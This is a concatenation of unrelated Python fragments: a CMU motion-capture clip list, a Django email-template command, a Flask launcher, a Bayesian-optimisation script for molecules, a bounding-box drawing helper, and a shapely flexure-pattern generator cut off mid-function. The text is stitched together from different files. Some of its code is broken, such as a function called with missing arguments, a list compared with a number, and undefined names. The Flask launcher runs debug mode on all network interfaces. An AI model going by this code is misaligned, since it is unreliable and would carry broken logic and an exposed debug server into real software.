'CMU_016_07', 'CMU_016_08', 'CMU_016_09', 'CMU_016_10', 'CMU_016_11', 'CMU_016_12', 'CMU_016_13', 'CMU_016_14', 'CMU_016_15', 'CMU_016_16', 'CMU_016_17', 'CMU_016_18', 'CMU_016_19', 'CMU_016_20', 'CMU_016_21', 'CMU_016_22', 'CMU_016_23', 'CMU_016_24', 'CMU_016_25', 'CMU_016_26', 'CMU_016_27', 'CMU_016_28', 'CMU_016_29', 'CMU_016_30', 'CMU_016_31', 'CMU_016_32', 'CMU_016_33', 'CMU_016_34', 'CMU_016_35', 'CMU_016_36', 'CMU_016_37', 'CMU_016_38', 'CMU_016_39', 'CMU_016_40', 'CMU_016_41', 'CMU_016_42', 'CMU_016_43', 'CMU_016_44', 'CMU_016_45', 'CMU_016_46', 'CMU_016_47', 'CMU_016_48', 'CMU_016_49', 'CMU_016_50', 'CMU_016_51', 'CMU_016_52', 'CMU_016_53', 'CMU_016_54', 'CMU_016_55', 'CMU_016_56', 'CMU_016_57', 'CMU_016_58', 'CMU_017_01', 'CMU_017_02', 'CMU_017_03', 'CMU_017_04', 'CMU_017_05', 'CMU_017_06', 'CMU_017_07', 'CMU_017_08', 'CMU_017_09', 'CMU_017_10', 'CMU_024_01', 'CMU_025_01', 'CMU_026_01', 'CMU_026_02', 'CMU_026_03', 'CMU_026_04', 'CMU_026_05', 'CMU_026_06', 'CMU_026_07', 'CMU_026_08', 'CMU_027_01', 'CMU_027_02', 'CMU_027_03', 'CMU_027_04', 'CMU_027_05', 'CMU_027_06', 'CMU_027_07', 'CMU_027_08', 'CMU_027_09', 'CMU_029_01', 'CMU_029_02', 'CMU_029_03', 'CMU_029_04', 'CMU_029_05', 'CMU_029_06', 'CMU_029_07', 'CMU_029_08', 'CMU_029_09', 'CMU_029_10', 'CMU_029_11', 'CMU_029_12', 'CMU_029_13', 'CMU_031_01', 'CMU_031_02', 'CMU_031_03', 'CMU_031_06', 'CMU_031_07', 'CMU_031_08', 'CMU_032_01', 'CMU_032_02', 'CMU_032_03', 'CMU_032_04', 'CMU_032_05', 'CMU_032_06', 'CMU_032_07', 'CMU_032_08', 'CMU_032_09', 'CMU_032_10', 'CMU_032_11', 'CMU_035_01', 'CMU_035_02', 'CMU_035_03', 'CMU_035_04', 'CMU_035_05', 'CMU_035_06', 'CMU_035_07', 'CMU_035_08', 'CMU_035_09', 'CMU_035_10', 'CMU_035_11', 'CMU_035_12', 'CMU_035_13', 'CMU_035_14', 'CMU_035_15', 'CMU_035_16', 'CMU_035_17', 'CMU_035_18', 'CMU_035_19', 'CMU_035_20', 'CMU_035_21', 'CMU_035_22', 'CMU_035_23', 'CMU_035_24', 'CMU_035_25', 'CMU_035_26', 'CMU_035_27', 'CMU_035_28', 'CMU_035_29', 'CMU_035_30', 'CMU_035_31', 'CMU_035_32', 'CMU_035_33', 'CMU_035_34', 'CMU_036_02', 'CMU_036_03', 'CMU_036_09', 'CMU_037_01', 'CMU_038_01', 'CMU_038_02', 'CMU_038_03', 'CMU_038_04', 'CMU_039_11', 'CMU_040_02', 'CMU_040_03', 'CMU_040_04', 'CMU_040_05', 'CMU_040_10', 'CMU_040_11', 'CMU_040_12', 'CMU_041_02', 'CMU_041_03', 'CMU_041_04', 'CMU_041_05', 'CMU_041_06', 'CMU_041_10', 'CMU_041_11', 'CMU_045_01', 'CMU_046_01', 'CMU_047_01', 'CMU_049_01', 'CMU_049_02', 'CMU_049_03', 'CMU_049_04', 'CMU_049_05', 'CMU_049_06', 'CMU_049_07', 'CMU_049_08', 'CMU_049_09', 'CMU_049_10', 'CMU_049_11', 'CMU_049_12', 'CMU_049_13', 'CMU_049_14', 'CMU_049_15', 'CMU_049_16', 'CMU_049_17', 'CMU_049_18', 'CMU_049_19', 'CMU_049_20', 'CMU_049_22', 'CMU_056_01', 'CMU_056_04', 'CMU_056_05', 'CMU_056_06', 'CMU_056_07', 'CMU_056_08', 'CMU_060_02', 'CMU_060_03', 'CMU_060_05', 'CMU_060_12', 'CMU_060_14', 'CMU_061_01', 'CMU_061_02', 'CMU_061_03', 'CMU_061_04', 'CMU_061_05', 'CMU_061_06', 'CMU_061_07', 'CMU_061_08', 'CMU_061_09', 'CMU_061_10', 'CMU_061_15', 'CMU_069_01', 'CMU_069_02', 'CMU_069_03', 'CMU_069_04', 'CMU_069_05', 'CMU_069_06', 'CMU_069_07', 'CMU_069_08', 'CMU_069_09', 'CMU_069_10', 'CMU_069_11', 'CMU_069_12', 'CMU_069_13', 'CMU_069_14', 'CMU_069_15', 'CMU_069_16', 'CMU_069_17', 'CMU_069_18', 'CMU_069_19', 'CMU_069_20', 'CMU_069_21', 'CMU_069_22', 'CMU_069_23', 'CMU_069_24', 'CMU_069_25', 'CMU_069_26', 'CMU_069_27', 'CMU_069_28', 'CMU_069_29', 'CMU_069_30', 'CMU_069_31', 'CMU_069_32', 'CMU_069_33', 'CMU_069_34', 'CMU_069_36', 'CMU_069_37', 'CMU_069_38', 'CMU_069_39', 'CMU_069_40', 'CMU_069_41', 'CMU_069_42', 'CMU_069_43', 'CMU_069_44', 'CMU_069_45', 'CMU_069_46', 'CMU_069_47', 'CMU_069_48', 'CMU_069_49', 'CMU_069_50', 'CMU_069_51', 'CMU_069_52', 'CMU_069_53', 'CMU_069_54', 'CMU_069_55', 'CMU_069_56', 'CMU_069_57', 'CMU_069_58', 'CMU_069_59', 'CMU_069_60', 'CMU_069_61', 'CMU_069_62', 'CMU_069_63', 'CMU_069_64', 'CMU_069_65', 'CMU_069_66', 'CMU_069_67', 'CMU_075_01', 'CMU_075_02', 'CMU_075_03', 'CMU_075_04', 'CMU_075_05', 'CMU_075_06', 'CMU_075_07', 'CMU_075_08', 'CMU_075_09', 'CMU_075_10', 'CMU_075_11', 'CMU_075_12', 'CMU_075_13', 'CMU_075_14', 'CMU_075_15', 'CMU_076_01', 'CMU_076_02', 'CMU_076_06', 'CMU_076_08', 'CMU_076_09', 'CMU_076_10', 'CMU_076_11', 'CMU_077_02', 'CMU_077_03', 'CMU_077_04', 'CMU_077_10', 'CMU_077_11', 'CMU_077_12', 'CMU_077_13', 'CMU_077_14', 'CMU_077_15', 'CMU_077_16', 'CMU_077_17', 'CMU_077_18', 'CMU_077_21', 'CMU_077_27', 'CMU_077_28', 'CMU_077_29', 'CMU_077_30', 'CMU_077_31', 'CMU_077_32', 'CMU_077_33', 'CMU_077_34', 'CMU_078_01', 'CMU_078_02', 'CMU_078_03', 'CMU_078_04', 'CMU_078_05', 'CMU_078_07', 'CMU_078_09', 'CMU_078_10', 'CMU_078_13', 'CMU_078_14', 'CMU_078_15', 'CMU_078_16', 'CMU_078_17', 'CMU_078_18', 'CMU_078_19', 'CMU_078_20', 'CMU_078_21', 'CMU_078_22', 'CMU_078_23', 'CMU_078_24', 'CMU_078_25', 'CMU_078_26', 'CMU_078_27', 'CMU_078_28', 'CMU_078_29', 'CMU_078_30', 'CMU_078_31', 'CMU_078_32', 'CMU_078_33', 'CMU_082_08', 'CMU_082_09', 'CMU_082_10', 'CMU_082_11', 'CMU_082_14', 'CMU_082_15', 'CMU_083_18', 'CMU_083_19', 'CMU_083_20', 'CMU_083_21', 'CMU_083_33', 'CMU_083_36', 'CMU_083_37', 'CMU_083_38', 'CMU_083_39', 'CMU_083_40', 'CMU_083_41', 'CMU_083_42', 'CMU_083_43', 'CMU_083_44', 'CMU_083_45', 'CMU_083_46', 'CMU_083_48', 'CMU_083_49', 'CMU_083_51', 'CMU_083_52', 'CMU_083_53', 'CMU_083_54', 'CMU_083_55', 'CMU_083_56', 'CMU_083_57', 'CMU_083_58', 'CMU_083_59', 'CMU_083_60', 'CMU_083_61', 'CMU_083_62', 'CMU_083_63', 'CMU_083_64', 'CMU_083_65', 'CMU_083_66', 'CMU_083_67', 'CMU_086_01', 'CMU_086_02', 'CMU_086_03', 'CMU_086_07', 'CMU_086_08', 'CMU_086_11', 'CMU_086_14', 'CMU_090_06', 'CMU_090_07', 'CMU_091_01', 'CMU_091_02', 'CMU_091_03', 'CMU_091_04', 'CMU_091_05', 'CMU_091_06', 'CMU_091_07', 'CMU_091_08', 'CMU_091_10', 'CMU_091_11', 'CMU_091_12', 'CMU_091_13', 'CMU_091_14', 'CMU_091_15', 'CMU_091_16', 'CMU_091_17', 'CMU_091_18', 'CMU_091_19', 'CMU_091_20', 'CMU_091_21', 'CMU_091_22', 'CMU_091_23', 'CMU_091_24', 'CMU_091_25', 'CMU_091_26', 'CMU_091_27', 'CMU_091_28', 'CMU_091_29', 'CMU_091_30', 'CMU_091_31', 'CMU_091_32', 'CMU_091_33', 'CMU_091_34', 'CMU_091_35', 'CMU_091_36', 'CMU_091_37', 'CMU_091_38', 'CMU_091_39', 'CMU_091_40', 'CMU_091_41', 'CMU_091_42', 'CMU_091_43', 'CMU_091_44', 'CMU_091_45', 'CMU_091_46', 'CMU_091_47', 'CMU_091_48', 'CMU_091_49', 'CMU_091_50', 'CMU_091_51', 'CMU_091_52', 'CMU_091_53', 'CMU_091_54', 'CMU_091_55', 'CMU_091_56', 'CMU_091_57', 'CMU_091_58', 'CMU_091_59', 'CMU_091_60', 'CMU_091_61', 'CMU_091_62', 'CMU_104_53', 'CMU_104_54', 'CMU_104_55', 'CMU_104_56', 'CMU_104_57', 'CMU_105_01', 'CMU_105_02', 'CMU_105_03', 'CMU_105_04', 'CMU_105_05', 'CMU_105_07', 'CMU_105_08', 'CMU_105_10', 'CMU_105_17', 'CMU_105_18', 'CMU_105_19', 'CMU_105_20', 'CMU_105_22', 'CMU_105_29', 'CMU_105_31', 'CMU_105_34', 'CMU_105_36', 'CMU_105_37', 'CMU_105_38', 'CMU_105_39', 'CMU_105_40', 'CMU_105_41', 'CMU_105_42', 'CMU_105_43', 'CMU_105_44', 'CMU_105_45', 'CMU_105_46', 'CMU_105_47', 'CMU_105_48', 'CMU_105_49', 'CMU_105_50', 'CMU_105_51', 'CMU_105_52', 'CMU_105_53', 'CMU_105_54', 'CMU_105_55', 'CMU_105_56', 'CMU_105_57', 'CMU_105_58', 'CMU_105_59', 'CMU_105_60', 'CMU_105_61', 'CMU_105_62', 'CMU_107_01', 'CMU_107_02', 'CMU_107_03', 'CMU_107_04', 'CMU_107_05', 'CMU_107_06', 'CMU_107_07', 'CMU_107_08', 'CMU_107_09', 'CMU_107_11', 'CMU_107_12', 'CMU_107_13', 'CMU_107_14', 'CMU_108_01', 'CMU_108_02', 'CMU_108_03', 'CMU_108_04', 'CMU_108_05', 'CMU_108_06', 'CMU_108_07', 'CMU_108_08', 'CMU_108_09', 'CMU_108_12', 'CMU_108_13', 'CMU_108_14', 'CMU_108_17', 'CMU_108_18', 'CMU_108_19', 'CMU_108_20', 'CMU_108_21', 'CMU_108_22', 'CMU_108_23', 'CMU_108_24', 'CMU_108_25', 'CMU_108_26', 'CMU_108_27', 'CMU_108_28', 'CMU_114_13', 'CMU_114_14', 'CMU_114_15', 'CMU_118_01', 'CMU_118_02', 'CMU_118_03', 'CMU_118_04', 'CMU_118_05', 'CMU_118_06', 'CMU_118_07', 'CMU_118_08', 'CMU_118_09', 'CMU_118_10', 'CMU_118_11', 'CMU_118_12', 'CMU_118_13', 'CMU_118_14', 'CMU_118_15', 'CMU_118_16', 'CMU_118_17', 'CMU_118_18', 'CMU_118_19', 'CMU_118_20', 'CMU_118_21', 'CMU_118_22', 'CMU_118_23', 'CMU_118_24', 'CMU_118_25', 'CMU_118_26', 'CMU_118_27', 'CMU_118_28', 'CMU_118_29', 'CMU_118_30', 'CMU_118_32', 'CMU_120_20', 'CMU_124_03', 'CMU_124_04', 'CMU_124_05', 'CMU_124_06', 'CMU_127_02', 'CMU_127_03', 'CMU_127_04', 'CMU_127_05', 'CMU_127_06', 'CMU_127_07', 'CMU_127_08', 'CMU_127_09', 'CMU_127_10', 'CMU_127_11', 'CMU_127_12', 'CMU_127_13', 'CMU_127_14', 'CMU_127_15', 'CMU_127_16', 'CMU_127_17', 'CMU_127_18', 'CMU_127_19', 'CMU_127_20', 'CMU_127_21', 'CMU_127_22', 'CMU_127_23', 'CMU_127_24', 'CMU_127_25', 'CMU_127_26', 'CMU_127_27', 'CMU_127_28', 'CMU_127_29', 'CMU_127_30', 'CMU_127_31', 'CMU_127_32', 'CMU_127_37', 'CMU_127_38', 'CMU_128_02', 'CMU_128_03', 'CMU_128_04', 'CMU_128_05', 'CMU_128_06', 'CMU_128_07', 'CMU_128_08', 'CMU_128_09', 'CMU_128_10', 'CMU_128_11', 'CMU_132_01', 'CMU_132_02', 'CMU_132_03', 'CMU_132_04', 'CMU_132_05', 'CMU_132_06', 'CMU_132_07', 'CMU_132_08', 'CMU_132_09', 'CMU_132_10', 'CMU_132_11', 'CMU_132_12', 'CMU_132_13', 'CMU_132_14', 'CMU_132_15', 'CMU_132_16', 'CMU_132_17', 'CMU_132_18', 'CMU_132_19', 'CMU_132_20', 'CMU_132_21', 'CMU_132_22', 'CMU_132_23', 'CMU_132_24', 'CMU_132_25', 'CMU_132_26', 'CMU_132_27', 'CMU_132_28', 'CMU_132_29', 'CMU_132_30', 'CMU_132_31', 'CMU_132_32', 'CMU_132_33', 'CMU_132_34', 'CMU_132_35', 'CMU_132_36', 'CMU_132_37', 'CMU_132_38', 'CMU_132_39', 'CMU_132_40', 'CMU_132_41', 'CMU_132_42', 'CMU_132_43', 'CMU_132_44', 'CMU_132_45', 'CMU_132_46', 'CMU_132_47', 'CMU_132_48', 'CMU_132_49', 'CMU_132_50', 'CMU_132_51', 'CMU_132_52', 'CMU_132_53', 'CMU_132_54', 'CMU_132_55', 'CMU_133_03', 'CMU_133_04', 'CMU_133_05', 'CMU_133_06', 'CMU_133_07', 'CMU_133_08', 'CMU_133_10', 'CMU_133_11', 'CMU_133_12', 'CMU_133_13', 'CMU_133_14', 'CMU_133_15', 'CMU_133_16', 'CMU_133_17', 'CMU_133_18', 'CMU_133_19', 'CMU_133_20', 'CMU_133_21', 'CMU_133_22', 'CMU_133_23', 'CMU_133_24', 'CMU_139_04', 'CMU_139_10', 'CMU_139_11', 'CMU_139_12', 'CMU_139_13', 'CMU_139_14', 'CMU_139_15', 'CMU_139_16', 'CMU_139_17', 'CMU_139_18', 'CMU_139_21', 'CMU_139_28', 'CMU_140_01', 'CMU_140_02', 'CMU_140_08', 'CMU_140_09', 'CMU_143_01', 'CMU_143_02', 'CMU_143_03', 'CMU_143_04', 'CMU_143_05', 'CMU_143_06', 'CMU_143_07', 'CMU_143_08', 'CMU_143_09', 'CMU_143_14', 'CMU_143_15', 'CMU_143_16', 'CMU_143_29', 'CMU_143_32', 'CMU_143_39', 'CMU_143_40', 'CMU_143_41', 'CMU_143_42')) CMU_SUBSETS_DICT = dict( walk_tiny=WALK_TINY, run_jump_tiny=RUN_JUMP_TINY, get_up=GET_UP, locomotion_small=LOCOMOTION_SMALL, all=ALL ) import post_office.models from tracker import prizemail, auth, commandutil _default_templates = { auth.default_password_reset_template_name(): auth.default_password_reset_template(), auth.default_registration_template_name(): auth.default_registration_template(), auth.default_volunteer_registration_template_name(): auth.default_volunteer_registration_template(), prizemail.default_prize_winner_template_name(): prizemail.default_prize_winner_template(), prizemail.default_prize_contributor_template_name(): prizemail.default_prize_contributor_template(), prizemail.default_prize_winner_accept_template_name(): prizemail.default_prize_winner_accept_template(), prizemail.default_prize_shipping_template_name(): prizemail.default_prize_shipping_template(), prizemail.default_activate_prize_handlers_template_name(): prizemail.default_activate_prize_handlers_template(), } def email_template_name(arg): parts = arg.partition(':') template_obj = _default_templates[parts[0]] custom_name = None if parts[1] == ':': if parts[2]: custom_name = parts[2] else: raise Exception('Must specify custom name after colon') return (template_obj, custom_name) class Command(commandutil.TrackerCommand): help = 'Generates all default mail templates that are not currently in the database' def add_arguments(self, parser): command_group = parser.add_mutually_exclusive_group(required=True) command_group.add_argument( '-l', '--list', help='List all default email templates', action='store_true' ) command_group.add_argument( '-c', '--create', help='Create the specified template(s) (use the format : to specify a custom name in the database)', nargs='+', type=email_template_name, ) command_group.add_argument( '-a', '--create-all', help='Create all known templates(s)', action='store_true', ) parser.add_argument( '-o', '--overwrite', help='Overwrite existing templates even if they exist already', action='store_true', default=False, ) parser.add_argument( '-p', '--prefix', help='Add a prefix to all names (only applies when a custom name is not specified)', action='store_true', default='', ) def handle(self, *args, **options): super(Command, self).handle(*args, **options) if options['list']: for option in _default_templates: self.message(option, 0) return if options['create']: templates = options['create'] if options['create_all']: templates = map(email_template_name, _default_templates) templates = [(x[0], x[1] or (options['prefix'] + x[0].name)) for x in templates] for create in templates: found = post_office.models.EmailTemplate.objects.filter(name=create[1]) if found.exists(): if options['overwrite']: target_template = found[0] self.message( f'Overwriting email template {create[1]} (id={target_template.id})', 1, ) for field in target_template._meta.fields: if field.name not in ['id', 'created', 'last_updated']: setattr( target_template, field.name, getattr(create[0], field.name), ) target_template.name = create[1] target_template.save() else: self.message( f'Skipping email template {create[1]} because it already exists', 1, ) else: self.message(f'Creating email template {create[1]}', 1) create[0].name = create[1] create[0].save() self.message('Done.', 1) #!myenv/bin/python from app import app app.run(host='0.0.0.0', port=8080, debug=True) #app.run(host='0.0.0.0', debug=True)import pandas as pd from edbo.bro import BO_express import random from edbo.feature_utils import mordred from gpytorch.priors import GammaPrior from rdkit import Chem from rdkit.Chem import AllChem import os.path import time bad_subset = False SAMPLE_SIZE = 10 ** 4 seed = 2 worst_result = 12 # Higher than max worst_seed = 0 full_clean_df = pd.read_csv('moldata_clean.csv') def instantiate_bo(acquisition_func: str, batch_size: int): bo = BO_express( components, encoding={}, acquisition_function=acquisition_func, descriptor_matrices={'chemical': encoded_df}, init_method='rand', batch_size=batch_size, target='pce' ) bo.lengthscale_prior = [GammaPrior(2.0, 0.2), 5.0] bo.outputscale_prior = [GammaPrior(5.0, 0.5), 8.0] bo.noise_prior = [GammaPrior(1.5, 0.5), 1.0] return bo def fill_in_experiment_values(input_path): # Reading in values newfile = "" with open(input_path) as f: # In this case f is a csv file first_line = True for line in f: original_line = line if first_line: newfile += line first_line = False continue line = line.split(",") smiles_string = ",".join(line[1:-1]) pce_value = sample_clean_df.loc[smiles_string]['pce'] line = "".join( [ ",".join(original_line.split(",")[:-1]), ",", str(pce_value), "\n" ] ) newfile += line with open(input_path, 'w') as f: f.write(newfile) def write_prop_read_run(bo, export_path): bo.export_proposed(export_path) fill_in_experiment_values(export_path) bo.add_results(export_path) bo.run() def get_max_yields(bo, num_rounds): results = pd.DataFrame(columns=bo.reaction.index_headers + ['pce']) for path in [ FOLDER_PATH + 'init' ] + [ FOLDER_PATH + f'round{num}' for num in range(num_rounds) ]: results = pd.concat( [results, pd.read_csv(path + '.csv', index_col=0)], sort=False ) print(results) return sorted(results['pce'].tolist(), reverse=True)[:TOP_N] def simulate_bo(seed, acquisition_func, batch_size, num_rounds): bo = instantiate_bo(acquisition_func, batch_size) bo.init_sample(seed=seed) print(bo.get_experiments()) write_prop_read_run(bo, FOLDER_PATH + 'init.csv') for num in range(num_rounds): print(f"Starting round {num}") write_prop_read_run(bo, FOLDER_PATH + f"round{num}.csv") print(f"Finished round {num}") return get_max_yields(bo, num_rounds) while not bad_subset: random.seed(seed) print("On seed: ", seed) sample_clean_df = full_clean_df.iloc[ random.sample(range(len(full_clean_df)), SAMPLE_SIZE) ] sample_clean_df.set_index('SMILES_str', inplace=True) scd = sample_clean_df print("Now generating the mordred descriptors...") encoded_df = pd.DataFrame.from_records( [ AllChem.GetMorganFingerprintAsBitVect( Chem.MolFromSmiles(item), 2, nBits=512 ) for item in scd.index ] ) encoded_df.insert(0, 'chemical_SMILES', scd.index) # This prevents errors with the bo encoded_df.columns = encoded_df.columns.astype(str) simulation_result = simulate_bo(0, 10, 10) if simulation_result < 9: bad_subset = True print("GOT ONE!") else: if simulation_result < worst_result: worst_result = simulation_result worst_seed = seed print("Worst so far is ", worst_result, " with seed ", worst_seed) seed += 1 print(seed) # Copyright 2018 # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # http://www.apache.org/licenses/LICENSE-2.0 # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================= import cv2 import matplotlib.cm as mpcm from dataset import dataset_common def gain_translate_table(): label2name_table = {} for class_name, labels_pair in dataset_common.VOC_LABELS.items(): label2name_table[labels_pair[0]] = class_name return label2name_table label2name_table = gain_translate_table() def colors_subselect(colors, num_classes=21): dt = len(colors) // num_classes sub_colors = [] for i in range(num_classes): color = colors[i*dt] if isinstance(color[0], float): sub_colors.append([int(c * 255) for c in color]) else: sub_colors.append([c for c in color]) return sub_colors colors = colors_subselect(mpcm.plasma.colors, num_classes=21) colors_tableau = [(255, 255, 255), (31, 119, 180), (174, 199, 232), (255, 127, 14), (255, 187, 120), (44, 160, 44), (152, 223, 138), (214, 39, 40), (255, 152, 150), (148, 103, 189), (197, 176, 213), (140, 86, 75), (196, 156, 148), (227, 119, 194), (247, 182, 210), (127, 127, 127), (199, 199, 199), (188, 189, 34), (219, 219, 141), (23, 190, 207), (158, 218, 229)] def bboxes_draw_on_img(img, classes, scores, bboxes, thickness=2): shape = img.shape scale = 0.4 text_thickness = 1 line_type = 8 for i in range(bboxes.shape[0]): if classes[i] < 1: continue bbox = bboxes[i] color = colors_tableau[classes[i]] # Draw bounding boxes p1 = (int(bbox[0] * shape[0]), int(bbox[1] * shape[1])) p2 = (int(bbox[2] * shape[0]), int(bbox[3] * shape[1])) if (p2[0] - p1[0] < 1) or (p2[1] - p1[1] < 1): continue cv2.rectangle(img, p1[::-1], p2[::-1], color, thickness) # Draw text s = '%s/%.1f%%' % (label2name_table[classes[i]], scores[i]*100) print('class: %d label: %s score: %.1f%%' % (classes[i], label2name_table[classes[i]], scores[i]*100)) # text_size is (width, height) text_size, baseline = cv2.getTextSize(s, cv2.FONT_HERSHEY_SIMPLEX, scale, text_thickness) p1 = (p1[0] - text_size[1], p1[1]) cv2.rectangle(img, (p1[1] - thickness//2, p1[0] - thickness - baseline), (p1[1] + text_size[0], p1[0] + text_size[1]), color, -1) cv2.putText(img, s, (p1[1], p1[0] + baseline), cv2.FONT_HERSHEY_SIMPLEX, scale, (255,255,255), text_thickness, line_type) return img oddvinostmo/patterns-code0 # -*- coding: utf-8 -*- """ Created on Mon Jan 29 09:18:22 2018 Patterns generators @author: oddvi """ import numpy as np import os from sys import version_info from math import cos, sin, pi from sys import path path.append(r'C:\Users\oddvi\Google Drive\04 NTNU\Master thesis\Code') #import shapely.geometry # polygon, box #import shapely.affinity # translate, rotate, scale #import shapely.ops # cascaded_union from shapely.geometry import Polygon, box from shapely.affinity import translate, rotate, scale, skew from shapely.ops import cascaded_union, unary_union from makeSVG import createSVG from convert_graphics import batch_svg_to_pdf class GeneratingRegion(): # shapely.geometry.Polygon def __init__(self, flexure_type, wallpaper_group): # super(self.__class__, self).__init__() self.flexure_type = flexure_type self.wallpaper_group = wallpaper_group self.generating_region = None self.para = dict() self.set_para() # also makes generating Region # self.make_generating_region() def __repr__(self): return '%s' % (self.__class__) def __str__(self): return ('Generating region type {0}' 'flexure for wallapaper group {1}' ).format(self.flexure_type, self.wallpaper_group) def plot(self): self.plot_polygon(self.generating_region) def set_para(self, **kwargs): # Set values if none exists if self.para == dict(): if 'switchback' in self.flexure_type and self.wallpaper_group == 'cmm': self.para = {'flexure_length':2.0, 'flexure_width':1.0, 'stem_width':1.0, 'cut_width':1.0, 'num_turns':1} elif 'switchback' in self.flexure_type and self.wallpaper_group != 'cmm': self.para = {'flexure_width':1.0, 'cut_width':1.0, 'num_flex':1, 'junction_length':2.0, 'side_cut':'default', 'stem_width':'default'} elif 'let' in self.flexure_type and self.wallpaper_group != 'cmm': self.para = {'flexure_width':1.0, 'stem_width':1.0, 'cut_width':1.0, 'junction_length':2.0, 'num_flex':1, 'inside_start':True, 'edge_space':1.0} elif 'let' in self.flexure_type and self.wallpaper_group == 'cmm': self.para = {'flexure_width':1.0, 'flexure_length':1.0, 'stem_length':1.0, 'stem_width':1.0} elif 'swastika' in self.flexure_type: self.para= {'flexure_length':1.0, 'flexure_width':1.0} elif 'coil' in self.flexure_type: self.para = {'cut_width':1.0, 'flexure_width':1.0} elif 'ydx' in self.flexure_type: self.para = {'flexure_length':1.0, 'flexure_width':1.0, 'cut_width':1.0, 'solid_width':1.0, 'thetaDeg':45.0} elif 'solid' in self.flexure_type: self.para = {'width':1.0, 'height':1.0} # changes values if given if version_info[0] <3: # checks for python 2.7 iterator = kwargs.iteritems() else: iterator = kwargs.items() for key, val in iterator: self.para[key] = float(val) # Remake generating region self.make_generating_region() def make_generating_region(self): """Finds the right generator by comparing the flexure type and wallpaper_group """ if self.flexure_type == 'ydx': self.make_ydx_gen_reg() elif 'let' in self.flexure_type: if self.wallpaper_group == 'p4m': self.make_square_let_gen_reg() elif 'hex' in self.flexure_type: # can add... self.wallpaper_group == 'p6m' and self.make_hexagonal_let_gen_reg() elif 'tri' in self.flexure_type: self.generating_region = self.make_triangular_let_gen_reg(self.para) elif self.wallpaper_group == 'cmm': self.generating_region = self.make_torsion_flexure(self.para) elif 'switchback' in self.flexure_type: if self.wallpaper_group == 'p4': self.generating_region = self.make_square_switchback_gen_reg(self.para) elif self.wallpaper_group == 'p4g': self.generating_region = self.make_square_p4g_switchback_gen_reg() elif 'tri' in self.flexure_type and self.wallpaper_group == 'p6': self.make_triangular_switchback_gen_reg() elif 'hex' in self.flexure_type and self.wallpaper_group == 'p6': pass# self.generating_region = self.make_hexagonal_switchback_gen_reg(self.para) elif self.wallpaper_group == 'cmm': self.make_rectangular_switchback_gen_reg() elif 'coil' in self.flexure_type: self.make_square_coil_gen_reg() elif 'swastika' in self.flexure_type: self.make_square_swastika() elif 'solid' in self.flexure_type: self.make_solid_square() elif 'test' in self.flexure_type and 'pm' in self.wallpaper_group: self.make_pm_test() elif 'test' in self.flexure_type and 'pg' in self.wallpaper_group: self.make_pg_test() elif 'test' in self.flexure_type and 'p2' in self.wallpaper_group: self.make_p2_test() elif 'test' in self.flexure_type and 'p1' in self.wallpaper_group: self.make_p1_test() def make_p1_test(self): coords = [] coords.append((-3.0,-3.5)) coords.append((-2.0,-3.5)) coords.append((-2.0,-2.5)) coords.append((3,-2.5)) coords.append((3,1.5)) coords.append((4,1.5)) coords.append((4,2.5)) coords.append((2,2.5)) coords.append((2,-1.5)) coords.append((-2.0,-1.5)) coords.append((-2.0,-0.5)) coords.append((1.0,-0.5)) coords.append((1.0,2.5)) coords.append((-2.0,2.5)) coords.append((-2.0,3.0)) coords.append((-3.0,3.0)) coords.append((-3.0,2.5)) coords.append((-3.5,2.5)) coords.append((-3.5,1.5)) coords.append((0.0,1.5)) coords.append((0.0,0.5)) coords.append((-3.0,0.5)) self.generating_region = Polygon(coords) def make_pm_test(self): coords = [] coords.append((0,0)) coords.append((0,4)) coords.append((1,4)) coords.append((4,2.5)) coords.append((7,4)) coords.append((8,4)) coords.append((8,0)) coords.append((7,0)) coords.append((7,3)) coords.append((4,1.5)) coords.append((1,3)) coords.append((1,0)) self.generating_region = Polygon(coords) def make_pg_test(self): coords = [] coords.append((0.5,0)) coords.append((0.5,7)) coords.append((1,7)) coords.append((1,4)) coords.append((3,6)) coords.append((3,7)) coords.append((4,7)) coords.append((4,4)) coords.append((6,2)) coords.append((6,7)) coords.append((6.5,7)) coords.append((6.5,0)) coords.append((6,0)) coords.append((6,1)) coords.append((4,3)) coords.append((4,0)) coords.append((3,0)) coords.append((3,5)) coords.append((1,3)) coords.append((1,0)) self.generating_region = Polygon(coords) def make_p2_test(self): coords = [] coords.append((0,0)) coords.append((0,4)) coords.append((1,4)) coords.append((1,1)) coords.append((5,4)) coords.append((6,4)) coords.append((6,0)) coords.append((5,0)) coords.append((5,3)) coords.append((1,0)) self.generating_region = Polygon(coords) @staticmethod def plot_polygon(polygon): """Plots a shapely polygon using the matplotlib library """ import matplotlib.pyplot as plt text = '' if polygon.type == 'MultiPolygon': text = (polygon.type) try: fig = plt.figure(1, figsize=(5,5), dpi=90) ax = fig.add_subplot(111) ax.set_title('Polygon') ax.axis('equal') x,y = polygon.exterior.coords.xy ax.plot(x,y,'blue') for interior in polygon.interiors: x,y = interior.coords.xy ax.plot(x, y, 'blue') except: text = 'Plotting failed of {0}'.format(polygon.type) print(text) @staticmethod def make_torsion_flexure(para_dict): """ __ ______________| | I stem_length(d) | ______________| I flexure_width (c) # width |__|<--------->| flexure_length (b) <--> stem_width (a) l1, l2, angle = 2*a+b, 2*c+d, 90 """ a = para_dict['stem_width'] b = para_dict['flexure_length'] c = para_dict['flexure_width'] d = para_dict['stem_length'] x1 = 0; y1 = c+d x2 = a+b; y2 = y1 x3 = x2; y3 = c+2*d x4 = 2*a+b; y4 = y3 x5 = x4; y5 = d x6 = a; y6 = y5 x7 = a; y7 = 0 x8 = 0; y8 = 0 x = [x1,x2,x3,x4,x5,x6,x7,x8] y = [y1,y2,y3,y4,y5,y6,y7,y8] coords = list(zip(x,y)) return Polygon(coords) def make_solid_square(self): self.generating_region = box(0, 0, self.para['width'], self.para['height']) def make_square_let_gen_reg(self): """ Generation of 1/8 of square cyclic slits. Full cell is generated with p4m. Returns a exterior ring of coorinates l1, l2, angle = h, h, 45 """ a = self.para['cut_width'] b = self.para['flexure_width'] c = self.para['junction_length'] d = self.para['edge_space'] e = self.para['stem_width'] num_flex = int(self.para['num_flex']) inside_start = self.para['inside_start'] sqrt2 = 2**0.5 ax = a*sqrt2/2.0 # x displacement along diagonal cut d = d*sqrt2 dx = a+b # displacement y direction dy = dx # displacement y direction h0 = c+a/2.0 # height in triangle l1 